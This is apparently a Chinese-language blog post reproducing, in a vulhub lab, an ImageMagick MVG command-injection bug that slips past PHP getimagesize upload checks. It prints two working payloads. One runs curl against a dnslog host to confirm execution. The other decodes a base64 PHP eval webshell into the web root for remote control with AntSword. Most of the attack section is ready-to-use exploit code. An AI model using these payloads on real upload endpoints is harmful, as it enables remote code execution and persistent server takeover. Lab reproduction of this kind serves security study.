imagemagick文件上传

如何绕过 (imagemagick配合getimagesize) 最近看到p神的一篇文章 p神分析 觉得挺有意思的,就想着来复现下 首先复现之前,要安装php的扩展imagic ubuntu18.04环境下

apt install php-imagick

在这里插入图片描述 大致的代码意思是,如果文件的宽和高都大于100,就压缩这个图片,重新写一个gif到文件夹里 源码分析上面的p神文章已经讲得很清楚,这里不多说

imagic 本来有一个洞,就是处理mvg格式文件的时候有一个RCE 而getimagesize不能处理mvg文件 然后p神在文章里讲了如何绕过,以及源码分析

这里也不多说 绕过方法,只需要某一行格式满足#define 某文件名字 某文件宽度 就可以通过getimagesize

只需要改一改原来的poc即可

这边由于ubuntu18.04的imagic已经修复好了这个洞, 我选用vulhub 的cve进行魔改 github

在此鸣谢vulhub 帮我省了不少事 dockers-compose up -d 一键起 先测试下看看能不能RCE

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`curl hpd1gi.dnslog.cn`)'
pop graphic-context
#define xlogo_width 200
#define xlogo_height 200

将图片上传 在这里插入图片描述 有访问,说明执行了curl 接下来写马

写马poc

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`echo PD9waHAgZXZhbCgkX1BPU1RbcGVuc29uXSk7Pz4=|base64 -d > /var/www/html/a.php`)'
pop graphic-context
#define xlogo_width 200
#define xlogo_height 200

这里用base64来写,不明原因如果直接写的话?会被替换成_可能是convert的原因

上传后蚁剑连接即可 在这里插入图片描述


文章作者: penson
文章链接: https://www.penson.top
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 penson !
评论
  目录

梨花香-霜雪千年